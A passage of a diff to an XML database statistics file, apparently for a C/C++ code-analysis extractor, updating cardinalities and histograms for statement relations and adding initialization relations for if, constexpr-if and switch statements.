+                                    <v>13171</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>7552</v>
+                                    <v>7526</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32673,12 +32718,12 @@
                                 <b>
                                     <a>16</a>
                                     <b>17</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>44</a>
                                     <b>45</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32694,12 +32739,12 @@
                                 <b>
                                     <a>16</a>
                                     <b>17</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>44</a>
                                     <b>45</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32715,12 +32760,12 @@
                                 <b>
                                     <a>16</a>
                                     <b>17</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>44</a>
                                     <b>45</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32736,7 +32781,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32752,7 +32797,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32768,12 +32813,12 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32789,7 +32834,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32805,7 +32850,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32821,7 +32866,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32837,7 +32882,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32853,7 +32898,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32869,7 +32914,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>28320</v>
+                                    <v>28224</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32885,7 +32930,7 @@
                                 <b>
                                     <a>60</a>
                                     <b>61</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32901,7 +32946,7 @@
                                 <b>
                                     <a>44</a>
                                     <b>45</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32917,7 +32962,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32933,7 +32978,7 @@
                                 <b>
                                     <a>60</a>
                                     <b>61</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32949,7 +32994,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32965,7 +33010,7 @@
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32981,7 +33026,7 @@
                                 <b>
                                     <a>60</a>
                                     <b>61</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -32997,7 +33042,7 @@
                                 <b>
                                     <a>44</a>
                                     <b>45</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33013,7 +33058,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33029,7 +33074,7 @@
                                 <b>
                                     <a>60</a>
                                     <b>61</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33045,7 +33090,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33061,7 +33106,7 @@
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33077,12 +33122,12 @@
                                 <b>
                                     <a>8</a>
                                     <b>9</b>
-                                    <v>1888</v>
+                                    <v>1881</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>15</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33098,12 +33143,12 @@
                                 <b>
                                     <a>8</a>
                                     <b>9</b>
-                                    <v>1888</v>
+                                    <v>1881</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>15</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33119,7 +33164,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2832</v>
+                                    <v>2822</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33135,12 +33180,12 @@
                                 <b>
                                     <a>8</a>
                                     <b>9</b>
-                                    <v>1888</v>
+                                    <v>1881</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>15</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33156,7 +33201,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2832</v>
+                                    <v>2822</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33172,7 +33217,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2832</v>
+                                    <v>2822</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33298,19 +33343,19 @@
         </relation>
         <relation>
             <name>stmts</name>
-            <cardinality>4689495</cardinality>
+            <cardinality>4659955</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>4689495</v>
+                    <v>4659955</v>
                 </e>
                 <e>
                     <k>kind</k>
-                    <v>1995</v>
+                    <v>1991</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>2293751</v>
+                    <v>2288683</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -33324,7 +33369,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4689495</v>
+                                    <v>4659955</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33340,7 +33385,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4689495</v>
+                                    <v>4659955</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33356,97 +33401,97 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>18</a>
                                     <b>19</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>22</a>
                                     <b>23</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>46</a>
                                     <b>47</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>75</a>
                                     <b>76</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>83</a>
                                     <b>84</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>102</a>
                                     <b>103</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>154</a>
                                     <b>155</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>242</a>
                                     <b>243</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>284</a>
                                     <b>285</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>383</a>
                                     <b>384</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>418</a>
                                     <b>419</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>501</a>
                                     <b>502</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>1324</a>
                                     <b>1325</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>2629</a>
                                     <b>2630</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>4606</a>
-                                    <b>4607</b>
-                                    <v>105</v>
+                                    <a>4609</a>
+                                    <b>4610</b>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>8935</a>
-                                    <b>8936</b>
-                                    <v>105</v>
+                                    <a>8749</a>
+                                    <b>8750</b>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>11547</a>
                                     <b>11548</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>13275</a>
                                     <b>13276</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33462,97 +33507,97 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>9</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>18</a>
                                     <b>19</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>45</a>
                                     <b>46</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>50</a>
                                     <b>51</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>56</a>
                                     <b>57</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>74</a>
                                     <b>75</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>88</a>
                                     <b>89</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>101</a>
                                     <b>102</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>128</a>
                                     <b>129</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>209</a>
                                     <b>210</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>252</a>
                                     <b>253</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>368</a>
                                     <b>369</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>641</a>
                                     <b>642</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>1742</a>
                                     <b>1743</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>2183</a>
-                                    <b>2184</b>
-                                    <v>105</v>
+                                    <a>2186</a>
+                                    <b>2187</b>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>4210</a>
-                                    <b>4211</b>
-                                    <v>105</v>
+                                    <a>4191</a>
+                                    <b>4192</b>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>6065</a>
                                     <b>6066</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>6529</a>
                                     <b>6530</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33568,22 +33613,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1897016</v>
+                                    <v>1893663</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>177201</v>
+                                    <v>176600</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>12</b>
-                                    <v>176466</v>
+                                    <v>175762</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>684</b>
-                                    <v>43066</v>
+                                    <v>42656</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33599,12 +33644,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2234613</v>
+                                    <v>2231353</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>8</b>
-                                    <v>59137</v>
+                                    <v>57329</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33709,16 +33754,64 @@
             </dependencies>
         </relation>
         <relation>
-            <name>if_then</name>
-            <cardinality>723123</cardinality>
+            <name>if_initialization</name>
+            <cardinality>314</cardinality>
             <columnsizes>
                 <e>
                     <k>if_stmt</k>
-                    <v>723123</v>
+                    <v>314</v>
+                </e>
+                <e>
+                    <k>init_id</k>
+                    <v>314</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>if_stmt</src>
+                    <trg>init_id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>314</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>init_id</src>
+                    <trg>if_stmt</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>314</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>if_then</name>
+            <cardinality>723174</cardinality>
+            <columnsizes>
+                <e>
+                    <k>if_stmt</k>
+                    <v>723174</v>
                 </e>
                 <e>
                     <k>then_id</k>
-                    <v>723123</v>
+                    <v>723174</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -33732,7 +33825,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>723123</v>
+                                    <v>723174</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33748,7 +33841,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>723123</v>
+                                    <v>723174</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33758,15 +33851,15 @@
         </relation>
         <relation>
             <name>if_else</name>
-            <cardinality>183959</cardinality>
+            <cardinality>183972</cardinality>
             <columnsizes>
                 <e>
                     <k>if_stmt</k>
-                    <v>183959</v>
+                    <v>183972</v>
                 </e>
                 <e>
                     <k>else_id</k>
-                    <v>183959</v>
+                    <v>183972</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -33780,7 +33873,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>183959</v>
+                                    <v>183972</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33796,7 +33889,55 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>183959</v>
+                                    <v>183972</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>constexpr_if_initialization</name>
+            <cardinality>1</cardinality>
+            <columnsizes>
+                <e>
+                    <k>constexpr_if_stmt</k>
+                    <v>1</v>
+                </e>
+                <e>
+                    <k>init_id</k>
+                    <v>1</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>constexpr_if_stmt</src>
+                    <trg>init_id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>1</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>init_id</src>
+                    <trg>constexpr_if_stmt</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>1</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33806,15 +33947,15 @@
         </relation>
         <relation>
             <name>constexpr_if_then</name>
-            <cardinality>52624</cardinality>
+            <cardinality>52508</cardinality>
             <columnsizes>
                 <e>
                     <k>constexpr_if_stmt</k>
-                    <v>52624</v>
+                    <v>52508</v>
                 </e>
                 <e>
                     <k>then_id</k>
-                    <v>52624</v>
+                    <v>52508</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -33828,7 +33969,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>52624</v>
+                                    <v>52508</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33844,7 +33985,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>52624</v>
+                                    <v>52508</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33854,15 +33995,15 @@
         </relation>
         <relation>
             <name>constexpr_if_else</name>
-            <cardinality>30986</cardinality>
+            <cardinality>30918</cardinality>
             <columnsizes>
                 <e>
                     <k>constexpr_if_stmt</k>
-                    <v>30986</v>
+                    <v>30918</v>
                 </e>
                 <e>
                     <k>else_id</k>
-                    <v>30986</v>
+                    <v>30918</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -33876,7 +34017,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>30986</v>
+                                    <v>30918</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33892,7 +34033,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>30986</v>
+                                    <v>30918</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33902,15 +34043,15 @@
         </relation>
         <relation>
             <name>while_body</name>
-            <cardinality>30265</cardinality>
+            <cardinality>30207</cardinality>
             <columnsizes>
                 <e>
                     <k>while_stmt</k>
-                    <v>30265</v>
+                    <v>30207</v>
                 </e>
                 <e>
                     <k>body_id</k>
-                    <v>30265</v>
+                    <v>30207</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -33924,7 +34065,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>30265</v>
+                                    <v>30207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33940,7 +34081,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>30265</v>
+                                    <v>30207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33950,15 +34091,15 @@
         </relation>
         <relation>
             <name>do_body</name>
-            <cardinality>148593</cardinality>
+            <cardinality>148604</cardinality>
             <columnsizes>
                 <e>
                     <k>do_stmt</k>
-                    <v>148593</v>
+                    <v>148604</v>
                 </e>
                 <e>
                     <k>body_id</k>
-                    <v>148593</v>
+                    <v>148604</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -33972,7 +34113,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>148593</v>
+                                    <v>148604</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33988,7 +34129,55 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>148593</v>
+                                    <v>148604</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+            </dependencies>
+        </relation>
+        <relation>
+            <name>switch_initialization</name>
+            <cardinality>4</cardinality>
+            <columnsizes>
+                <e>
+                    <k>switch_stmt</k>
+                    <v>4</v>
+                </e>
+                <e>
+                    <k>init_id</k>
+                    <v>4</v>
+                </e>
+            </columnsizes>
+            <dependencies>
+                <dep>
+                    <src>switch_stmt</src>
+                    <trg>init_id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>4</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>init_id</src>
+                    <trg>switch_stmt</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>4</v>
                                 </b>
                             </bs>
                         </hist>
@@ -33998,19 +34187,19 @@
         </relation>
         <relation>
             <name>switch_case</name>
-            <cardinality>190914</cardinality>
+            <cardinality>191408</cardinality>
             <columnsizes>
                 <e>
                     <k>switch_stmt</k>
-                    <v>10275</v>
+                    <v>10301</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>4418</v>
+                    <v>4430</v>
                 </e>
                 <e>
                     <k>case_id</k>
-                    <v>190914</v>
+                    <v>191408</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -34024,57 +34213,57 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>53</v>
+                                    <v>54</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>2263</v>
+                                    <v>2269</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>1652</v>
+                                    <v>1656</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>1005</v>
+                                    <v>1008</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>754</v>
+                                    <v>756</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>718</v>
+                                    <v>720</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>10</b>
-                                    <v>970</v>
+                                    <v>972</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>11</b>
-                                    <v>323</v>
+                                    <v>324</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>14</b>
-                                    <v>862</v>
+                                    <v>864</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>31</b>
-                                    <v>826</v>
+                                    <v>828</v>
                                 </b>
                                 <b>
                                     <a>36</a>
                                     <b>247</b>
-                                    <v>844</v>
+                                    <v>846</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34090,57 +34279,57 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>53</v>
+                                    <v>54</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>2263</v>
+                                    <v>2269</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>1652</v>
+                                    <v>1656</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>1005</v>
+                                    <v>1008</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>754</v>
+                                    <v>756</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>718</v>
+                                    <v>720</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>10</b>
-                                    <v>970</v>
+                                    <v>972</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>11</b>
-                                    <v>323</v>
+                                    <v>324</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>14</b>
-                                    <v>862</v>
+                                    <v>864</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>31</b>
-                                    <v>826</v>
+                                    <v>828</v>
                                 </b>
                                 <b>
                                     <a>36</a>
                                     <b>247</b>
-                                    <v>844</v>
+                                    <v>846</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34156,32 +34345,32 @@
                                 <b>
                                     <a>14</a>
                                     <b>15</b>
-                                    <v>1167</v>
+                                    <v>1170</v>
                                 </b>
                                 <b>
                                     <a>18</a>
                                     <b>19</b>
-                                    <v>538</v>
+                                    <v>540</v>
                                 </b>
                                 <b>
                                     <a>32</a>
                                     <b>33</b>
-                                    <v>1904</v>
+                                    <v>1909</v>
                                 </b>
                                 <b>
                                     <a>33</a>
                                     <b>62</b>
-                                    <v>377</v>
+                                    <v>378</v>
                                 </b>
                                 <b>
                                     <a>66</a>
                                     <b>296</b>
-                                    <v>341</v>
+                                    <v>342</v>
                                 </b>
                                 <b>
                                     <a>351</a>
                                     <b>573</b>
-                                    <v>89</v>
+                                    <v>90</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34197,32 +34386,32 @@
                                 <b>
                                     <a>14</a>
                                     <b>15</b>
-                                    <v>1167</v>
+                                    <v>1170</v>
                                 </b>
                                 <b>
                                     <a>18</a>
                                     <b>19</b>
-                                    <v>538</v>
+                                    <v>540</v>
                                 </b>
                                 <b>
                                     <a>32</a>
                                     <b>33</b>
-                                    <v>1904</v>
+                                    <v>1909</v>
                                 </b>
                                 <b>
                                     <a>33</a>
                                     <b>62</b>
-                                    <v>377</v>
+                                    <v>378</v>
                                 </b>
                                 <b>
                                     <a>66</a>
                                     <b>296</b>
-                                    <v>341</v>
+                                    <v>342</v>
                                 </b>
                                 <b>
                                     <a>351</a>
                                     <b>573</b>
-                                    <v>89</v>
+                                    <v>90</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34238,7 +34427,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>190914</v>
+                                    <v>191408</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34254,7 +34443,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>190914</v>
+                                    <v>191408</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34264,15 +34453,15 @@
         </relation>
         <relation>
             <name>switch_body</name>
-            <cardinality>20900</cardinality>
+            <cardinality>20901</cardinality>
             <columnsizes>
                 <e>
                     <k>switch_stmt</k>
-                    <v>20900</v>
+                    <v>20901</v>
                 </e>
                 <e>
                     <k>body_id</k>
-                    <v>20900</v>
+                    <v>20901</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -34286,7 +34475,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>20900</v>
+                                    <v>20901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34302,7 +34491,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>20900</v>
+                                    <v>20901</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34312,15 +34501,15 @@
         </relation>
         <relation>
             <name>for_initialization</name>
-            <cardinality>53198</cardinality>
+            <cardinality>53202</cardinality>
             <columnsizes>
                 <e>
                     <k>for_stmt</k>
-                    <v>53198</v>
+                    <v>53202</v>
                 </e>
                 <e>
                     <k>init_id</k>
-                    <v>53198</v>
+                    <v>53202</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -34334,7 +34523,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>53198</v>
+                                    <v>53202</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34350,7 +34539,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>53198</v>
+                                    <v>53202</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34360,15 +34549,15 @@
         </relation>
         <relation>
             <name>for_condition</name>
-            <cardinality>55454</cardinality>
+            <cardinality>55458</cardinality>
             <columnsizes>
                 <e>
                     <k>for_stmt</k>
-                    <v>55454</v>
+                    <v>55458</v>
                 </e>
                 <e>
                     <k>condition_id</k>
-                    <v>55454</v>
+                    <v>55458</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -34382,7 +34571,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>55454</v>
+                                    <v>55458</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34398,7 +34587,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>55454</v>
+                                    <v>55458</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34408,15 +34597,15 @@
         </relation>
         <relation>
             <name>for_update</name>
-            <cardinality>53301</cardinality>
+            <cardinality>53304</cardinality>
             <columnsizes>
                 <e>
                     <k>for_stmt</k>
-                    <v>53301</v>
+                    <v>53304</v>
                 </e>
                 <e>
                     <k>update_id</k>
-                    <v>53301</v>
+                    <v>53304</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -34430,7 +34619,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>53301</v>
+                                    <v>53304</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34446,7 +34635,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>53301</v>
+                                    <v>53304</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34456,15 +34645,15 @@
         </relation>
         <relation>
             <name>for_body</name>
-            <cardinality>61319</cardinality>
+            <cardinality>61324</cardinality>
             <columnsizes>
                 <e>
                     <k>for_stmt</k>
-                    <v>61319</v>
+                    <v>61324</v>
                 </e>
                 <e>
                     <k>body_id</k>
-                    <v>61319</v>
+                    <v>61324</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -34478,7 +34667,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>61319</v>
+                                    <v>61324</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34494,7 +34683,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>61319</v>
+                                    <v>61324</v>
                                 </b>
                             </bs>
                         </hist>
